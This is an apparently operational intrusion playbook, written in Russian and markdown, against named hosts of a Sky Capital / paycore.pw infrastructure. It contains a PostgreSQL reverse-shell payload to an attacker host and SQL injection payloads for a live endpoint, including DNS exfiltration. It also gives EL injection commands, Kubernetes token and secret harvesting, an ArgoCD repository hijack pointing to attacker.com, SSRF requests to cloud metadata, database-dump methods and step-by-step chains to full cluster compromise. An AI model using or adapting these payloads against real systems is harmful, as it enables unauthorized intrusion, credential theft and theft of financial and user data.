## 🔴 TIER-1: CRITICAL RCE VECTORS

### 1️⃣ METABASE RCE (CVE-2023-38646)

**Мишень:** `metabase.sky-capital.org`
**Статус:** ✅ Admin доступ подтвержден
**CVSS:** 9.8 (Critical)
**Версия:** Уязвимая версия не проверена, но админ найден

#### Методы эксплуатации:

##### A) Native Query Execution
```sql
-- PostgreSQL command injection через native query
copy (select version()) to program 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
```

##### B) Database Driver Exploitation
```sql
-- Java deserialization через driver URL
jdbc:postgresql://localhost/db?sslmode=require&user=data:rO0ABXNyAA...
```

##### C) Template Injection в Alerts
```
Alert template: {{java.lang.Runtime.getRuntime().exec('id')}}
```

##### D) Embedded Question Injection
```json
{
  "type": "native",
  "query": "select 1; DROP TABLE users; --"
}
```

**Инструкции по взлому:**
1. Login: admin / пароль_из_истории
2. Создать native query с payload'ом
3. Execute → RCE

### 2️⃣ POSTGRESQL SQL INJECTION (paycore.pw)

**Endpoint:** `/api/v2/verify?transaction_id=`
**Статус:** ✅ Ошибки БД подтверждены (HTTP 500)
**CVSS:** 9.0 (Critical)
**Базы для взлома:** boss_tbiz, admin, metabase_db

#### Payload'ы:

```bash
# Error-based
transaction_id=1' AND 1=version()::int -- -
transaction_id=1' AND CAST(version() AS INT) -- -

# UNION SELECT
transaction_id=1' UNION SELECT username,password FROM admin -- -
transaction_id=1' UNION SELECT user,password FROM users -- -
transaction_id=1' UNION SELECT current_user,current_database() -- -

# Time-based blind
transaction_id=1' AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END -- -

# Data extraction
transaction_id=1' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schema='public' -- -

# Database read
transaction_id=1' UNION SELECT setting FROM pg_settings WHERE name='password_encryption' -- -

# OOB exfil (DNS)
transaction_id=1' AND version() ILIKE '%' || (SELECT version()) || '%.example.com' -- -
```

#### Таблицы для DUMP'а:

```sql
-- Таблицы пользователей
SELECT * FROM users;
SELECT * FROM admin;
SELECT * FROM accounts;
SELECT * FROM employees;

-- Таблицы с секретами
SELECT * FROM api_keys;
SELECT * FROM tokens;
SELECT * FROM secrets;
SELECT * FROM oauth_tokens;

-- Таблицы с деньгами
SELECT * FROM transactions;
SELECT * FROM payments;
SELECT * FROM wallets;
SELECT * FROM balances;

### 3️⃣ SPRING EL INJECTION (Vaadin Backoffice)

**Мишень:** `backoffice.skycapital.group:8443` (доступен через SSRF)
**Статус:** ⚠️ SSRF доступен, дальше не тестировали
**CVSS:** 8.6 (High)

#### Potentials EL Injection points:

```
${Runtime.getRuntime().exec("command")}
#{Runtime.getRuntime().exec("command")}
${{Runtime.getRuntime().exec("command")}}
<h:outputText value="#{Runtime.getRuntime().exec('bash -c id')}"/>
```

#### Через SSRF:

```bash
curl -X POST http://backoffice.skycapital.group:8443/login \
  -d 'username=${Runtime.getRuntime().exec("whoami")}&password=x'

# Или через параметры:
curl http://backoffice.skycapital.group:8443/page?param=${Runtime.getRuntime().exec("id")}
```

## 🟠 TIER-2: LATERAL MOVEMENT

### 4️⃣ K8s API EXPLOITATION

**Мишени:**
- K8s API Server (6443)
- Kubelet API (10250)
- etcd (2379)
- Service Account tokens

#### Strategy 1: Token Harvesting

```bash
# Если попадём в pod:
curl -s -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc.cluster.local/api/v1/secrets

# Dumping all secrets from cluster:
kubectl get secret --all-namespaces -o json | jq '.items[] | {ns:.metadata.namespace, name:.metadata.name, data:.data}'
```

#### Strategy 2: Service Account Impersonation

```bash
# Если есть доступ к API:
curl -X GET \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc.cluster.local/api/v1/users/admin/impersonate
```

#### Strategy 3: Pod Exec RCE

```bash
# Создать и выполнить команду в pod'е:
kubectl run -it --image=alpine exploit-pod -- /bin/sh

# Или exec в существующий:
kubectl exec -it deployment/metabase -- /bin/bash -c 'id'
```

#### Strategy 4: Privilege Escalation

```bash
# Если есть доступ как unprivileged user:
# 1. Check ClusterRole bindings:
kubectl get clusterrolebinding -o json | jq '.items[] | select(.roleRef.name | contains("admin"))'

# 2. Check RBAC:
kubectl auth can-i --list

# 3. Check for * wildcards (privilege escalation):
kubectl get clusterrole -o json | jq '.items[] | select(.rules[] | select(.verbs[] | contains("*")))'
```

---

### 5️⃣ ARGOCD EXPLOITATION

**Мишень:** `argocd-server.argocd` (доступен через SSRF)
**Статус:** Не полностью тестировано

#### ArgoCD known vulnerabilities:

```
CVE-2022-24348 - ArgoCD authentication bypass
CVE-2023-32168 - ArgoCD RBAC bypass
CVE-2023-27482 - ArgoCD credential disclosure
```

#### Attack vectors:

```bash
# 1. Application takeover:
curl -X POST http://argocd-server.argocd/api/v1/applications \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"pwned","spec":{"source":{"repoURL":"http://attacker.com/evil.git"}}}'

# 2. Git repository hijack:
curl -X PUT http://argocd-server.argocd/api/v1/repositories/kubernetes-config \
  -d '{"url":"http://attacker.com/evil-repo.git"}'

# 3. Secret enumeration:
curl http://argocd-server.argocd/api/v1/secrets

# 4. Deploy arbitrary code:
# Commit malicious app to git repo → ArgoCD syncs → RCE in pod
```

---

### 6️⃣ SSRF CHAIN EXPLOITATION

**Мишени (из истории):**
- prometheus.monitoring:9090
- grafana.monitoring:3000
- loki.monitoring:3100
- etcd:2379
- redis:6379
- 169.254.169.254 (AWS IMDS)

#### SSRF Payloads:

```bash
# Через параметр URL (из истории X-Target-Scheme работал):
http://mpa.skycapital.group/api/proxy?url=http://prometheus.monitoring:9090/api/v1/query?query=up

# Со схемой bypass:
http://mpa.skycapital.group/api/proxy?url=http://kubernetes.default.svc.cluster.local/api/v1/pods&scheme=http

# AWS IMDS:
http://mpa.skycapital.group/api/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata:
http://mpa.skycapital.group/api/proxy?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity
```

## 🟡 TIER-3: DATA EXFILTRATION

### 7️⃣ DATABASE DUMPING

**Доступные базы:**
- `boss_tbiz` (транзакции, пользователи)
- `admin` (админ данные)
- `metabase_db` (конфиг Metabase)
- `users_db` (пользовательские данные)

#### Методы:

```sql
-- Full dump через SELECT INTO OUTFILE (если доступно):
SELECT * FROM users INTO OUTFILE '/tmp/users.csv'

-- pg_dump (если есть доступ):
pg_dump -U admin -h localhost boss_tbiz > dump.sql

-- COPY TO STDOUT:
COPY users TO STDOUT;

-- COPY + compression:
\COPY (SELECT * FROM users) TO STDOUT | gzip > users.sql.gz
```

#### Критичные таблицы:

```
users: id, username, email, password_hash, is_admin
admin: id, login, password, 2fa_secret
transactions: id, user_id, amount, recipient, status, timestamp
api_keys: id, user_id, key_hash, permissions, created_at
oauth_tokens: id, provider, access_token, refresh_token, expires_at
secrets: name, value, encrypted
settings: key, value
```

---

### 8️⃣ SECRET EXTRACTION (K8s Secrets)

```bash
# Из всех namespace'ов:
kubectl get secrets --all-namespaces -o json | \
  jq '.items[] | {namespace:.metadata.namespace, name:.metadata.name, type:.type, data:.data | keys}'

# Decode specific secret:
kubectl get secret argocd-secret -n argocd -o json | \
  jq '.data | map_values(@base64d)'

# Sensitive patterns:
- Database passwords
- API keys
- OAuth secrets
- TLS certificates
- SSH keys
- Docker registry credentials
```

## 🚨 CRITICAL ATTACK CHAIN

### Атака 1: Full Database Compromise + RCE

```
1. paycore.pw SQLi (GET /api/v2/verify?transaction_id=PAYLOAD)
   ↓
2. Extract admin credentials из таблицы users/admin
   ↓
3. Login в metabase.sky-capital.org
   ↓
4. Exploit CVE-2023-38646 (native query RCE)
   ↓
5. Full shell access to server
   ↓
6. Access K8s secrets через mounted volumes
   ↓
7. kubectl access → full cluster compromise
```

### Атака 2: SSRF → K8s Cluster Takeover

```
1. Use SSRF (mpa.skycapital.group) для доступа к K8s сервисам
   ↓
2. K8s API endpoint → service account tokens
   ↓
3. Use tokens для create pod с reverse shell
   ↓
4. Pod в контексте service account
   ↓
5. Access to cluster secrets → full cluster control
```

### Атака 3: ArgoCD → Continuous Deployment Hijack

```
1. SSRF → argocd-server.argocd
   ↓
2. Hijack Git repository
   ↓
3. Commit malicious deployment manifest
   ↓
4. ArgoCD auto-sync → RCE в всех pod'ах
   ↓
5. Full cluster compromise
```
